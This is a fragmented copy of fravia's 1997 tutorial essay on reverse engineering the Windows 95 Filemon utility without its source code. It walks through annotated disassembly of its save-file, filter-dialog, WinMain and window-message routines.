:00401AF3 56 push esi ;parameter (hWndList)
:00401AF4 8D5C1904 lea ebx, [ecx + ebx + 04]
:00401AF8 8D79FF lea edi, [ecx-01]
:00401AFB E890FCFFFF call 00401790List_Append
:00401B00 83C40C add esp, 0000000C ;correct stack
:00401B03 A1B4964000 mov eax, [004096B4] ;check [96B4]
:00401B08 05F0994000 add eax, 004099F0 ;add to it "DATAbottom"
:00401B0D 3BC3 cmp eax, ebx ;check against bx and if
lower
:00401B0F 77CE ja 00401ADF ;loop1ADF ;exit loop_List_Append
:Exit_loop_List_Append
:00401B11 C705B496400000000000 mov dword ptr [004096B4], 0 ;zero
[96B4]location
:00401B1B 803D6880400000 cmp byte ptr [00408068], 00 ;is
[8068]=0?
:00401B22 7418 je 00401B3C ;return
if so
:00401B24 6A00 push 00000000 ;NULL for the
second call
:00401B26 6A00 push 00000000
:00401B28 6A00 push 00000000
:return_home_Lassie
:00401B3C 5D pop ebp
:00401B3D 5F pop edi
:00401B3E 5E pop esi
:00401B3F 5B pop ebx
:00401B40 C3 ret
Well, what ARE actually these mysterious messages that we are continuously finding inside our
target?
What did we have until now? Let's see:
You are deep inside fravia's page of reverse engineering, choose your way out:
filemon1 filemon3 filemon4 filemon5
homepage links anonymity +ORC students' essays tools cocktails
antismut search_forms mailFraVia
is reverse engineering legal?
Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in four (or more)
parts:
A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
D = VXD vagaries and mysteries
Although already disponible, this essay is still under construction and will be modified and
ameliorated until the wording below will disappear (I reckon until mid-september)
UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (5)
How to reverse engineer a Windows 95 program
Filemon.exe Version 2
(Part C: Filemon discovered)
by Fravia (MSRE), August 1997
Well, in the first part of this essay we have got an "introduction" to the structure of filemon.exe, in
the second one we have reversed quite a lot of code without using the C source... let's finish our
job.
The remaining functions
We have closed the second part of this essay wondering about the identity of the messages that our
target uses in its ListAppend and UpdateStatistics functions.
UpdateStatistics began at 1A40... the next function begins at 1B50, let's have a look (of course
WITHOUT using the C source code). As you'll see, this function "prepares" the window used by
filemon for its activity with a CreateWindowEx function
terminated name
:00401B9B 68C0814000 push 004081C0 ;"SysListView32"
:00401BA0 6A00 push 00000000 ;Style 0
:00401BA2 FF15E8B24400 Call dword ptr [0044B2E8]
;USER32.CreateWindowExA
The CreateWindowEx function creates an overlapped, pop-up, or child window with an extended
style; otherwise, this function is identical to the CreateWindow function.
HWND CreateWindowEx(dwExStyle, lpszClassName, lpszWindowName, dwStyle, x, y, nWidth,
nHeight, hwndParent, hmenu, hinst, lpvCreateParams).
The return value identifies the new window if the function is successful. Otherwise, it is NULL.
:loop_1BCF_SendMessage_101B
:00401BCF 8B07 mov eax, [edi] ;get columnwidth in
ax
:00401BD1 8B4FFC mov ecx, [edi-04] ;get ecx
:00401BD4 896C2434 mov [esp + 34], ebp ;save ebp
:00401BD8 56 push esi ;push fourth param
:00401BD9 8944242C mov [esp + 2C], eax ;save width
:00401BDD 55 push ebp ;push third param
:00401BDE 894C2434 mov [esp + 34], ecx ;save ecx
:00401BE2 681B100000 push 0000101B ;push msg
:00401BE7 53 push ebx ;push hWnd
Save (0)?
:00401C55 7435 je 00401C8C ;get SaveData array
:00401C57 BFC0964000 mov edi, 004096C0 ;If not Saveas
:00401C5C B9FFFFFFFF mov ecx, FFFFFFFF ;prepare
counter
:00401C61 2BC0 sub eax, eax
:00401C63 F2 repnz ;prepare
string
:00401C64 AE scasb
:00401C65 F7D1 not ecx ;perform count
:00401C67 2BF9 sub edi, ecx
:00401C69 8BC1 mov eax, ecx
:00401C6B C1E902 shr ecx, 02
:00401C6E 8BF7 mov esi, edi
:00401C70 8DBC248C000000 lea edi, [esp + 0000008C]
:00401C77 F3 repz ;prepare
string
:00401C78 A5 movsd
:00401C79 8BC8 mov ecx, eax
:00401C7B 83E103 and ecx, 00000003
:00401C7E F3 repz ;prepare
string
:00401C7F A4 movsb
:00401C80 8BB42490060000 mov esi, [esp + 00000690]
:00401C87 E98D000000 jmp 00401D19 ;go after data
array fill
Useful Arrays
Well, a lot of repz/movs string functions... as usual in SaveFile operations, we'll find the ones for
the saveas operation below... now we will assist to the "filling" of a typical "ARRAY" block of
variables, you'll find many such blocks inside your targets, they can often give us valuable
indications about the variables used by a target... as usual many array elements are loaded with
NULL. Since we find below the function BOOL GetSaveFileName(lpofn) we know already that
we have to do with a OPENFILENAME FAR* lpofn; data structure, This array structure contains
information used to initialize the dialog box. When the GetSaveFileName function returns, this
structure will contain information about the user's file selection. This structure has most of the
time (programmers may obviously use, like here, different compilers or even "home-made"
variants) a structure similar to the following:
HINSTANCE hInstance;
LPCSTR lpstrFilter; --- "File Data..."
LPSTR lpstrCustomFilter;
DWORD nMaxCustFilter;
DWORD nFilterIndex;
LPSTR lpstrFile;
DWORD nMaxFile; --- 256
LPSTR lpstrFileTitle; --- "Save File Info..."
DWORD nMaxFileTitle;
LPCSTR lpstrInitialDir;
LPCSTR lpstrTitle;
DWORD Flags;
UINT nFileOffset;
UINT nFileExtension;
LPCSTR lpstrDefExt;
LPARAM lCustData;
UINT (CALLBACK* lpfnHook) (HWND, UINT, WPARAM, LPARAM);
LPCSTR lpTemplateName;
} OPENFILENAME;
You understand how important the above is from a reverse engineering point of view, dont' you?
Every time you find inside your target a call to GetFileName (and almost always you will) you can
IMMEDIATELY understand and tag quite a lot of memory locations... be careful when you
re-order the esp relocation, though.
Let's go on with our SaveFile function.
:Get_Save_Data
:00401C8C 8BB42490060000 mov esi, [esp + 690] ;get+1C
value
:00401C93 A1E8994000 mov eax, [004099E8] ;get+20
value
:00401C98 8974241C mov [esp + 1C], esi
;[esp+690]
:00401C9C 89442420 mov [esp + 20], eax ;[99E8]
:00401CA0 33C0 xor eax, eax
;ax=NULL now
:00401CA2 8D8C248C000000 lea ecx, [esp + 8C]
;get+34value
:00401CA9 89442428 mov [esp + 28], eax ;NULL
:00401CAD 8944242C mov [esp + 2C], eax ;NULL
:00401CB1 C74424184C000000 mov [esp + 18], 4C ;4C
:00401CB9 894C2434 mov [esp + 34], ecx
;[esp+8C]
:Major_loop_1D92
:00401D92 C684248C02000000 mov byte ptr [esp + 0000028C], 00
:Minor_loop_1D9C
:00401D9C 8D84248C010000 lea eax, [esp + 0000018C]
:00401DA3 8D4C2464 lea ecx, [esp + 64]
:00401DA7 8B942494060000 mov edx, [esp + 00000694]
:00401DAE 51 push ecx
:00401DAF 896C2470 mov [esp + 70], ebp
:00401DB3 53 push ebx
:00401DB4 89842480000000 mov [esp + 00000080], eax
:00401DBB 682D100000 push 0000102D
:00401DC0 C684249801000000 mov byte ptr [esp + 00000198],
00
:00401DC8 C784248800000000010000 mov dword ptr [esp + 00000088],
100
:00401DD3 52 push edx
:00401DD4 FF15D8B24400 Call dword ptr [0044B2D8]
;SendMessage_102D
:00401DDA 8DBC248C010000 lea edi, [esp + 0000018C]
:00401DE1 B9FFFFFFFF mov ecx, FFFFFFFF ;counter ready
:00401DE6 2BC0 sub eax, eax
:00401DE8 F2 repnz ;prepare string
:00401DE9 AE scasb
:00401DEA F7D1 not ecx ;count
:00401DEC 2BF9 sub edi, ecx
:00401DEE 8BD1 mov edx, ecx
:00401DF0 8BF7 mov esi, edi
:00401DF2 B9FFFFFFFF mov ecx, FFFFFFFF ;counter ready
:00401DF7 8DBC248C020000 lea edi, [esp + 0000028C]
:00401DFE 2BC0 sub eax, eax
:00401E00 F2 repnz ;prepare string
:00401E01 AE scasb
:00401E02 4F dec edi
:00401E03 8BCA mov ecx, edx
:00401E05 C1E902 shr ecx, 02
:00401E08 F3 repz ;prepare string
:00401E09 A5 movsd
:00401E0A 8BCA mov ecx, edx
:00401E0C 83E103 and ecx, 00000003
:00401E0F F3 repz ;prepare string
:00401E10 A4 movsb
:00401E11 BFD4814000 mov edi, 004081D4
:00401E16 B9FFFFFFFF mov ecx, FFFFFFFF ;counter ready
:00401E1B 2BC0 sub eax, eax
finds some NAMES! Names are the alpha and Omega of little windows reverse engineers, don't
forget it! Never!
[2390-23D0]:3580/2800/3620
[3580-3620]:5080/3B60
[5080-50A9]-|
[3B60-3B80]:3B80
[3B80-3BD0]:3BD0/62E0
[3BD0-3C10]:5690/Heapalloc
[62E0-6310]:ecx_4096AC
[2800-31B0]:3280/31B0/32B0/51A0
[3280-3290]-|
[31B0-3200]:26B0
[32B0-32C0]-|
[51A0-5240]:WideCharToMultiByte
[3620-3670]:3470
[3470-34E0]:4D40
[4D40-4F70]:4F7O/Writefile
As you can see, this simple "macro-search" of mine, although imperfect, it's enough to understand
what our extremely nested call to 2390 does: Heapalloc, WidecharToMultiByte and Writefile...
these are usual calls for stream routine which write formatted data to a stream (well, yes, you
should study a little c my dear), these routines (here fprintf) usually return the number of
characters printed, let's have a look at what happens next...
:after_major_loop
:00401E75 8B442410 mov eax, [esp + 10]
:00401E79 50 push eax
:00401E7A E8A1040000 call 00402320 ;whats'this
routine?
Once more a subroutine that we should identify, I'll leave you this task, you'll notice, climbing this
tree, that this call is connected with the previous (not investigated) one at :00401D26 (call
00402400)... OK, we are almost finished with this SaveFile function, a little more strcpy activity
follows...
:return_home_from_SaveFile
:00401EC5 5D pop ebp ;pop them all
:00401EC6 5F pop edi
:00401EC7 5E pop esi
:00401EC8 5B pop ebx
:00401EC9 81C47C060000 add esp, 67C ;we subbed 67C at
the beginning
:00401ECF C3 ret ;bye
from the previous function at 1D0C... we are already out of the main functions... OK, let's advance
with the other method: We have seen until now:
01) FUNCTION Abort ;This, as we have already seen, dwells between 1000-1020
02) FUNCTION WinMain ;This, as we have already seen, dwells between 1020-10B0
03) FUNCTION InitApplication ;This, as we have already seen, dwells between 10B0-1130
04) FUNCTION InitInstance ;This, as we have already seen, dwells between 1130-1190
05) FUNCTION MainWndProc ;This, as we have already seen, dwells between 1190-1750
06) FUNCTION Split;This, as we have already seen, dwells between 1750-1790
07) FUNCTION ListAppend ;This, as we have already seen, dwells between 1790-1A40
08) FUNCTION UpdateStatistics ;This, as we have already seen, dwells between 1A40-1B50
09) FUNCTION CreateListView;This, as we have already seen, dwells between 1B50-1C20
10) FUNCTION SaveFile ;This, as we have already seen, dwells between 1C20-1ED0
11) FUNCTION FilterProc
12) FUNCTION About
And at 21CC we are already out of the "functions" part of our target's code... therefore let's just
check the code that begins at 1ED0 and follow the last function we have examined, the SaveFile
one, even if it does not "seem" to be called by anybody in our dead listing... as a matter of fact the
next two functions (filter and about) create their own windows, and therefore follow a
DIFFERENT calling system... note that they are both at the end of the "normal" c functions...
:WM_INITDIALOG_block:Prepare Dialogbox
:00401F13 8B9C243C020000 mov ebx, [esp + 23C]
:00401F1A 68C0974000 push 004097C0 ;Process
:00401F1F 68E8030000 push 3E8 ;filter "" 1000
:00401F24 8B35A4B24400 mov esi, [0044B2A4] ;SetDlgItemText
:00401F2A 53 push ebx
:00401F2B FFD6 call esi ;call SetDlgItemText (ebx, "",
4097C0)
:00401F2D 68E0974000 push 004097E0 ;PathInclude
:00401F32 68E9030000 push 3E9 ;filter ""
:00401F37 53 push ebx
:00401F38 FFD6 call esi ;call SetDlgItemText ebx, "",
4097E0)
:00401F3A 68E0984000 push 004098E0 ;PathExclude
:00401F3F 68EA030000 push 3EA ;filter ""
:00401F44 53 push ebx
:00401F45 FFD6 call esi ;call SetDlgItemText(ebx, "",
4098E0)
:00401F47 A1E0994000 mov eax, [004099E0]
:00401F4C 8B35A8B24400 mov esi, [0044B2A8] ;CheckDlgButton
:00401F52 50 push eax
:00401F53 68EB030000 push 3EB ;filter "Reads"
:00401F58 53 push ebx ;places a check mark next to it
:00401F59 FFD6 call esi ;call CheckDlgButton(ebx,
"Reads", 4099E0)
:00401F5B 8B0DE4994000 mov ecx, [004099E4]
:00401F61 51 push ecx
:00401F62 68EC030000 push 3EC ;filter "Writes"
:00401F67 53 push ebx ;places a check mark next to it
:00401F68 FFD6 call esi ; call CheckDlgButton(ebx,
"Writes", 4099E4)
:00401F6A B801000000 mov eax, 1 ;flag TRUE and
:00401F6F E905020000 jmp 00402179 ;return TRUE
To understand the code above and below we need an IMAGE of our filter Dialog Box:here it is
As you can see (for instance editing this dialogbox through BRW) there are two
"BS_AUTOCHECKBOXes: "Reads" and "Writes" (1003 and 1004) and three edit ""
ES_AUTOHSCROLLs (1000,1001 and 1002), and three BS_PUSHBUTTONs ("Apply is actually
default choice and therefore BS_DEFPUSHBUTTON)1=Apply, 2=Cancel and 3=Reset... there
are also three static definitions: "Process", "Path include" and "Path Exclude". Hey! We have also
a caption ("NTFilemon Filter") and a font! (MS Sans Serif 8). Let's see how all this fits together
:WM_COMMAND block
:00401F74 668B842444020000 mov ax, [esp + 244] ;get new ax
:00401F7C 663D0100 cmp ax, 1 ;is it 1? (IDOK)
:00401F80 0F85ED000000 jne 00402073 ;no, continue
elsewhere
:00401F86 8B9C243C020000 mov ebx, [esp + 23C]
:00401F8D 6A20 push 20
:00401F8F 68C0974000 push 004097C0
:00401F94 8B3598B24400 mov esi, [0044B298] ; SetDlgItemText
:00401F9A 68E8030000 push 3E8 ; edit field"" 1000, Process
:00401F9F 53 push ebx
:00401FA0 FFD6 call esi ;call
SetDlgItemText(ebx,Process,97C0,20)
:00401FA2 6800010000 push 100
:00401FA7 68E0974000 push 004097E0
:00401FAC 68E9030000 push 3E9 ;edit field"" 1001, PathIncl
:00401FB1 53 push ebx
:00401FB2 FFD6 call esi ;call
SetDlgItemText(ebx,PathIncl,97C0,100)
:00401FB4 6800010000 push 100
:00401FB9 68E0984000 push 004098E0
:00401FBE 68EA030000 push 3EA ;edit field"" 1002, PathExcl
:00401FC3 53 push ebx
:00401FC4 FFD6 call esi ;call
SetDlgItemText(ebx,PathExcl,4098E0,100)
:00401FC6 68EB030000 push 3EB ; filter "Reads"
:00401FCB 8B359CB24400 mov esi, [0044B29C] ;CheckDlgButton
:00401FD1 53 push ebx
:00401FD2 FFD6 call esi ;call
CheckDlgButton(ebx,"Reads")
:00401FD4 68EC030000 push 3EC ; filter
"Writes"=1004
:00401FD9 A3E0994000 mov [004099E0], eax ;save ax
:00401FDE 53 push ebx
:00401FDF FFD6 call esi ;call
CheckDlgButton(ebx,"Writes")
:00401FE1 BEC0974000 mov esi, 004097C0
Uppercasing strings
Here we have another mysterious subroutine... let's see what happens at 2420...
[2420-24E0]:Have a look, there is a loop comparing between Ox61 (which is "a") and 0x7A
(which is "z"), with an instruction sub cl, 20 (at 2445) very very typical of uppercasing routines...
in fact the ASCII characters table is so made that every lowercase letter is exactly its uppercased
correspondent+0x20... routine 2420, is therefore called three times only in order to uppercase our
three edit strings, we do not want stupid users mixing lowercase and uppercase characters in their
input fields, do we?
that we have got a new filter, not to use the default any more! Let's hope the device is okay and
well, let's see
:OK,DeviceIOcontrol successful
:00402060 6A01 push 1 ;TRUE
:00402062 53 push ebx ;dialogbox returns 1
:00402063 FF15A0B24400 Call dword ptr [0044B2A0] ; EndDialog
:00402069 B801000000 mov eax, 1 ;flag TRUE
:0040206E E906010000 jmp 00402179 ;ret TRUE... This was IDOK!
We are almost finished... observe the various "happy endings" of this routine:
:return_FALSE
:00402177 33C0 xor eax, eax
:various returns
:00402190 8B442408 mov eax, [esp + 08]
:00402194 3D10010000 cmp eax, 110 ;was it WM_INITDIALOG?
:00402199 740C je 004021A7 ;110=return TRUE
:0040219B 3D11010000 cmp eax, 111 ;was it WM_COMMAND?
:004021A0 740D je 004021AF ;111: check and endDialog
:return_FALSE
:004021A2 33C0 xor eax, eax ;return FALSE
:004021A4 C21000 ret 0010
:return_TRUE
:004021A7 B801000000 mov eax, 1 ;return TRUE
:004021AC C21000 ret 0010
let's have a look: As before we have a starting check for the message value: if it is 110 it's a
WM_INITDIALOG message, if it is 111 it's a WM_COMMAND message... The
WM_INITDIALOG message is sent to a dialog box procedure immediately before the dialog box
is displayed. The WM_COMMAND message is sent to a window when the user selects an item
from a menu, when a control sends a notification message to its parent window, or when an
accelerator keystroke has been translated.
:return TRUE
:004021A7 B801000000 mov eax, 1 ;return TRUE
:004021AC C21000 ret 0010
You are deep inside fravia's page of reverse engineering, choose your way out:
filemon1 filemon2 filemon4
homepage links anonymity +ORC students' essays tools cocktails
antismut search_forms mailFraVia
is reverse engineering legal?
Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in four (or more)
parts:
A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
Back to Main
D = VXD vagaries and mysteries
Although already disponible, this essay is still under construction and will be modified and
ameliorated until the wording below will disappear (I reckon until mid-september)
UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (5)
How to reverse engineer a Windows 95 program
Filemon.exe Version 2
(Part D: Back to Main)
by Fravia (MSRE), August 1997
Well, in the first part of this essay we had a general "introduction" to the structure of filemon.exe,
in the second one we reversed quite a lot of code without using the C source... in the third one we
finished all "home-made" functions of our target... time to tackle the WinMain and the
MainWndProc functions...
WinMain was already known
Let's resume the "logistic" of our target, all the functions data we have already gathered:
01) FUNCTION Abort ;This dwells between 1000-1020
02) FUNCTION WinMain ;This dwells between 1020-10B0
Parameter Description
hinstCurrent Identifies the current instance of the
application.
hinstPrevious Identifies the previous instance of the
application.
lpszCmdLine Points to a null-terminated string specifying the
command
line for the application.
nCmdShow Specifies how the window is to be shown. This
parameter
can be one of various SW_ values.
0x00 SW_HIDE; 0x01 SW_SHOWNORMAL; 0x02 SW_SHOWMINIMIZED; 0x03
SW_SHOWMAXIMIZED;
if (!InitInstance(hinstCurrent, nCmdShow))
return FALSE;
I know, dear reader, you are quite impatient now, you have read a lot of text and you already
believe that you now understand everything, that you can disassemble every windows application
on the face of this planet... it is true for "easy" targets, but there is unfortunately still a lot to
understand in order to reverse engineer more "complex" windows code, as you will see... bear
with me a little more... let's investigate filemon's WinMain itself now
Wow! A WinMain function in all its dazzly splendour!
:WinMain
:00401020 83EC1C sub esp, 1C ;Adjust Stack
:00401023 53 push ebx ;will pop
:00401024 56 push esi ;will pop
:00401025 8B742428 mov esi, [esp + 28] ;get param hInstance
:00401029 57 push edi ;will pop
:0040102A 56 push esi ;push hInstance
:0040102B E880000000 call 10B0=InitApplication (hInstance)
:00401030 83C404 add esp, 4 ;(4=was only one param)
:00401033 85C0 test eax, eax ;return FALSE?
:ContinueWinMain_after_InitApplication
:00401042 8B442438 mov eax, [esp + 38] ;get nCmdShow
:00401046 50 push eax ;push nCmdShow
:00401047 56 push esi ;push hInstance
:00401048 E8E3000000 call 1130=InitInstance(hInstance,
nCmdShow)
:0040104D 83C408 add esp, 8 ;(8 because had two
param)
:00401050 85C0 test eax, eax ;worked?
:00401052 750B jne 0040105F ;yes, so continue
WinMain
:00401054 33C0 xor eax, eax ;no, so prepare FALSE
:00401056 5F pop edi ;popall
:00401057 5E pop esi
:00401058 5B pop ebx
:00401059 83C41C add esp, 1C ;adjust and return
:0040105C C21000 ret 0010 ;bye WinMain
or you can use a mix of the two methods... the popping technique is useful if you are optimizing
for speed AND space.
When a routine receives control, the top of the stack contains A RETURN ADDRESS (two or four
words, depending on whether the routine is near or far) and, above it, any parameters being
passed.
There are THREE basic techniques for accessing the parameters passed to the routines:
1) use the BP register to address the stack
2) use another base or index register to get the parameters
3) pop the return address and then pop the parameters.
Since we are (supposed to be) reverse engineering our targets, we DO NOT know, most of the
time the exact "prototypes" of the "home-made" functions we are examining... prototypes establish
the return type for functions that return any type other than int; contain a full list of parameter
types, identifiers for each expression that will be passed as an actual argument and can also reflect
the fact that the number of arguments passed will be variable, or that there will be NO arguments
passed. The parameter list in a prototype is a list of type names separated by commas, for instance
you may well have in a protection schema a FARPROC GetProtectionAddress(hinst,
lpszProtSnippet)
Since here we have added 1C at the beginning of WinMain, we'll have some combination of
LPSTR 32/16 bytes pointers 16 bytes handles and ints. Well, if you look at the two snippets
above, you'll already have some hints:
BOOL TranslateMessage(lpmsg)
const MSG FAR* lpmsg; /* address of MSG structure */
;prepares for GetMessage if it was a "virtual key" msg
LONG DispatchMessage(lpmsg)
const MSG FAR* lpmsg; /* address of structure with message */
:continue_WinMain_after_InitInstance
:0040105F 8D44240C lea eax, [esp + 0C] ;lpmsg
:00401063 6A00 push 00000000
:00401065 6A00 push 00000000
:00401067 8B3500B34400 mov esi, [0044B300] ;GetMessage
:0040106D 6A00 push 00000000
:0040106F 50 push eax
:00401070 FFD6 call esi ;GetMessage(lpmsg,NULL,0,0)
:00401072 85C0 test eax, eax ;WM_QUIT? Should we die?
:00401074 742B je 004010A1 ;Yes, so ret and
terminate
:00401076 8B3D94B24400 mov edi, [0044B294] ;TranslateMessage
:0040107C 8B1D8CB24400 mov ebx, [0044B28C] ;DispatchMessage
:continue_WinMain_message_chain
:00401082 8D44240C lea eax, [esp + 0C] ;get lpmsg
:00401086 50 push eax ;push lpmsg
:00401087 FFD7 call edi ;TranslateMessage(lpmsg)
:00401089 8D44240C lea eax, [esp + 0C] ;get lpmsg
:0040108D 50 push eax ;push lpmsg
:0040108E FFD3 call ebx ;DispatchMessage (lpmsg)
:00401090 8D44240C lea eax, [esp + 0C] ;get lpmsg
:00401094 6A00 push 0 ;push 0
:00401096 6A00 push 0 ;push 0
:00401098 6A00 push 0 ;push NULL
:0040109A 50 push eax ;push lpmsg
:0040109B FFD6 call esi ;GetMessage(lpmsg,NULL,0,0)
:0040109D 85C0 test eax, eax ;ret and terminate if it is
WM_QUIT,
:0040109F 75E1 jne 00401082 ;else go chain_start: find out
which
;other message has disturbed
us
Return values
You should keep in mind the following about return values: 8 and 16 bit values are always
returned in AX; 32 bit values are returned in dx:ax; floating point values are in the 8087 TOS
register and structures are returned in VARIOUS WAYS, according to their size. Returned
structures are indeed a bit more complex: 1 or 2 bytes length structures are returned in ax and 4
bytes length structures are returned in dx:ax, but THREE or MORE THAN FOUR bytes structures
must be stored in a static data area, the function will return a POINTER to that data area... near
pointers in ax and far pointers in dx:ax... (well, just keep it basic: return value always in ax, at
times in dx:ax :-)
We are done with WinMain, yet we have still the "Main Chunk" of filemon to examine:
MainWndProc(HWND hWnd, UINT message, UINT wParam, LONG lParam), here it is: as you
will immediately see, the initial switch is based in esi and gives following options: WM_=F;
WM_=1; WM_=2; WM=5; WM=more than F etc... since we KNOW the meaning of WM_tags,
we can easily understand the whole function...
TAKE NOTE! All what windows programs do is react to messages... the whole os turns around
waiting for messages to process... in (almost) all windows targets you'll have somewhere the
switch tree of the message processing function (which is always the "real" main function of your
targets, by the way). We come now to see it, in this essay, only after having examined for teaching
purposes all the others functions, BUT IN THE REALITY OF REVERSE ENGINEERING you'll
often start from this "windows messages" switch tree, because you'll immediately understand what
your target will do when it gets the WM_CREATE (aka 1) and the WM_COMMAND (aka 111)
messages, the two most important ones for reverse engineering purposes.
WM_SIZE?
:11BC 0F8443020000 je 00401405 ;go WM_SIZE
:11C2 EB2E jmp 004011F2 ;else go WM_DEFAULT
:WM_more than F
:11C4 83FE4E cmp esi, 4E ;is it WM_ = 004E = WM_NOTIFY?
:11C7 7711 ja 004011DA ;more than 4E
:11C9 0F84E7020000 je 004014B6 ;go WM_NOTIFY
:11CF 83FE10 cmp esi, 10 ;is it WM_ = 0010 = WM_CLOSE?
:11D2 0F84AE020000 je 00401486 ;go WM_CLOSE
:11D8 EB18 jmp 004011F2 ;else go WM_DEFAULT
: continue_WM_CREATE_tell_driver_filter
:136D 8D44240C lea eax, [esp + 0C]
:1371 6A00 push 00000000
:1373 50 push eax
:1374 8B0D60804000 mov ecx, [00408060]
:137A 6A00 push 00000000
:137C 6A00 push 00000000
:137E 6828020000 push 00000228
:1383 68C0974000 push 004097C0
:1388 6A05 push 00000005
:138A 51 push ecx
:138B FFD3 call ebx ;DeviceIoControl
:138D 85C0 test eax, eax ; ERROR?
:138F 750E jne 0040139F
;jump_start_filtering_139F
:1391 6814814000 push 00408114 ;->"Couldn't access
device driver"
:1396 56 push esi
:1397 E864FCFFFF call 1000_Abort_funct ; ABORT
function
:139C 83C408 add esp, 00000008
:continue_WM_CREATE_start_filtering
:139F 8D44240C lea eax, [esp + 0C]
:13A3 6A00 push 00000000
:13A5 50 push eax
:13A6 8B0D60804000 mov ecx, [00408060]
:13AC 6A00 push 00000000
:13AE 6A00 push 00000000
:13B0 6A00 push 00000000
:13B2 6A00 push 00000000
:13B4 6A04 push 00000004
:13B6 51 push ecx
:13B7 FFD3 call ebx ;DeviceIoControl
:13B9 85C0 test eax, eax ;ERROR?
:13BB 7518 jne 004013D5 ;jump start_timer_13D5
:13BD 6814814000 push 00408114 ;->"Couldn't access
device driver"
:13C2 56 push esi
:13C3 E838FCFFFF call 1000_Abort_funct ;ABORT
function
:13C8 83C408 add esp, 00000008
:13CB B801000000 mov eax, 1 ;RETURN TRUE
:13D0 E931030000 jmp 1706_keep ax_&_ret
:continue_WM_CREATE_start_timer
The SetTimer function installs a system timer. A time-out value is
specified,
and every time a time-out occurs, the system posts a WM_TIMER
message to
the installing application's message queue or passes the message
to an
application-defined TimerProc callback function.
:13D5 6A00 push 0 ;zero=to queue
:13D7 68F4010000 push 1F4 ;time out duration: 500
milliseconds
:13DC 6A01 push 1 ;timer identifier
:13DE 56 push esi ;hWnd
:13DF FF15C0B24400 Call dword ptr [0044B2C0] ;USER32.SetTimer
:13E5 A1BC964000 mov eax, [004096BC] ;get cursor
:13EA 50 push eax ;push cursor
:13EB FFD7 call edi ;SetCursor
:13ED FF15C4B24400 Call dword ptr [0044B2C4] ;ReleaseCapture
:13F3 E90C030000 jmp 1704_ax=0_&_ret ;ret, bye
WM_CREATE
:WM_PAINT_return DefWindowProc
The DefWindowProc function calls the default window procedure. The
default window procedure provides default processing for any
window
messages that an application does not process. This function
ensures
that every message is processed. It should be called with the same
parameters as those received by the window procedure.
:1462 8B942460010000 mov edx, [esp + 160]
:1469 8B8C245C010000 mov ecx, [esp + 15C]
:1470 52 push edx
:1471 51 push ecx
:1472 56 push esi ;type of msg
:1473 8BB42460010000 mov esi, [esp + 160]
:147A 56 push esi
:147B FF15D4B24400 Call dword ptr [0044B2D4]
;DefWindowProcA
:1481 E980020000 jmp 1706_keep ax_&_ret
You may ask yourself why the programmers have chosen these values... well, they have not...
that's Microsoft Developer Studio here... with time you'll get acquainted with all different
compiler peculiarities... have a look at the "resource.h" text file inside the packahe of filemon you
downloaded... everything is there. But you don't need to have a resource file to grasp this... good
old WCB will show it to you, or, alternatively, just hexedit your windows target... look towards
the end of the hexedited file... there you'll find all imported functions and a little after, at 8720, for
instance:
00000000000000000800529C26004300 ..........R.&.C.
61007000740075007200650020004500 a.p.t.u.r.e. .E.
760065006E007400730000000800539C v.e.n.t.s. S.
26004100750074006F00200053006300 &.A.u.t.o. S.c.
72006F006C006C000000000000000000 r.o.l.l.........
You understand what that means, don't you... 529C is the VALUE of the Capture Events option
and 539C is the VALUE (0x9C53=40019) of the Autoscroll menu option... all windows targets
carry these IMPORTANT information within themselves, you just sit there fishing all these names
out of the unnamed see until your dead listing makes more sense than the original source code of
the programmer itself!
:continue WM_COMMAND: IDM_ = 68 = IDM_EXIT
:152B 8BB42454010000 mov esi, [esp + 00000154]
:1532 6A00 push 00000000
:1534 6A00 push 00000000
:1536 6A10 push 00000010 ;WM_CLOSE
:1538 56 push esi
:1539 FF15D8B24400 Call dword ptr [0044B2D8]
;SendMessage (WM_CLOSE)
:153F E9C0010000 jmp 1704_ax=0_&_ret ;bye bye
everybody
other way
:15B5 B800000000 mov eax, 00000000 ;round
:15BA 8BB42454010000 mov esi, [esp + 00000154]
:15C1 83D0FF adc eax, FFFFFFFF
:15C4 83E008 and eax, 00000008
:15C7 50 push eax
:15C8 68529C0000 push 00009C52 ;LISTMENU, Item: "Capture
Events"
:15CD 56 push esi
:15CE FF15DCB24400 Call dword ptr [0044B2DC] ;GetMenu,
:15D4 50 push eax
:15D5 FF15E0B24400 Call dword ptr [0044B2E0] ;CheckMenuItem,
:15DB E924010000 jmp 1704_ax=0_&_ret
The CheckMenuItem function selects (places a check mark next to) or clears (removes a check
mark from) a specified menu item in the given pop-up menu.
:IDM_Autoscroll, we land here through the relocation table
;since the first thing it does is checking TRUE a memory
;location, we'll call it 8068_Atscll... see how important
;are these "WM_COMMAND's IDMs" for tagging purposes?
:15E0 803D6880400001 cmp byte ptr [8068_Atscll], 01 ;see above
:15E7 1AC0 sbb al , al ;the same as
:15E9 F6D8 neg al ;for capture
:15EB A268804000 mov [8068_Atscll], al
:15F0 3C01 cmp al, 01
:15F2 B800000000 mov eax, 00000000
:15F7 8BB42454010000 mov esi, [esp + 00000154]
:15FE 83D0FF adc eax, FFFFFFFF
:1601 83E008 and eax, 00000008
:1604 50 push eax
:1605 68539C0000 push 00009C53 ;"Auto Scroll"
:160A 56 push esi
:160B FF15DCB24400 Call dword ptr [0044B2DC] ;GetMenu
:1611 50 push eax ;and places or remove checkmark
:1612 FF15E0B24400 Call dword ptr [0044B2E0] ;CheckMenuItem;
:1618 E9E7000000 jmp 1704_ax=0_&_ret
:loop_16B5
:16B5 57 push edi ;0
:16B6 A160804000 mov eax, [00408060]
:16BB 68B4964000 push 004096B4 ;push Statslen
loc
:16C0 6800000400 push 00040000 ;SizeofStats
:16C5 68F0994000 push 004099F0
:16CA 57 push edi ;0
:16CB 57 push edi ;NULL
:16CC 6A02 push 00000002
:16CE 50 push eax
:16CF FFD3 call ebx ;DeviceIoControl
:16D1 85C0 test eax, eax ;ERROR?
:16D3 741A je 004016EF ;Abort
:16D5 393DB4964000 cmp [004096B4], edi
;Statslen=0?
:16DB 7427 je 00401704 ;exit loop return
FALSE
:16DD 57 push edi
:16DE A1B8964000 mov eax, [004096B8]
:abort
:16EF 6814814000 push 00408114 ;->"Couldn't access
device driver"
